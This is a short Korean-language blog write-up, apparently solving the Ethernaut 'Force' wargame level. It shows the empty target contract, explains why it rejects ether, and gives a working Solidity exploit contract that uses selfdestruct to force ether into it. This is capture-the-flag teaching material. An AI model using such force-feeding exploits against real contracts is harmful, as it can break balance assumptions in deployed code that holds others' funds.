728x90
Description
Some contracts will simply not take your money ¯\\_(ツ)_/¯
The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
- Fallback methods
- Sometimes the best way to attack a contract is with another contract.
- See the "?" page above, section "Beyond the console"
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\\_/\\ /
____/ o o \\
/~____ =ø= /
(______)__m_m)
*/ }
Scenario
현재 컨트랙트에는 balance가 0이다.
이 컨트랙트에 balance를 보내려고 해도 revert가 난다. 아마 receive나 fallback 함수가 없어서 그런 것 같다.
receive나 fallback 함수가 없는 컨트랙트가 강제로 돈을 받게 하기 위해서는 selfdestruct된 컨트랙트가 보낸 돈을 받게끔 하는 것이다. 즉, 예를 들어 내가 어떤 한 컨트랙트를 만들고 그걸 selfdestruct(addr)하면 그 컨트랙트가 파괴되면서 addr에게 자신의 컨트랙트 balance를 강제로 보낸다.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
address level = 0xBAaeC72fC4d4f32dE958F0F29d3A54935CFa0Ba4;
function deposit() public payable {
(bool success, ) = address(this).call{value: 10000}("");
require(success, "Failed to deposit");
}
receive() external payable {
}
function destroy() public {
selfdestruct(payable(level));
}
}
위 코드를 컴파일한 후,
이 컨트랙트에 value만큼 deposit하고,
이 컨트랙트를 destroy하면, 이 컨트랙트에 있던 balance가 level contract로 강제로 옮겨진다.
728x90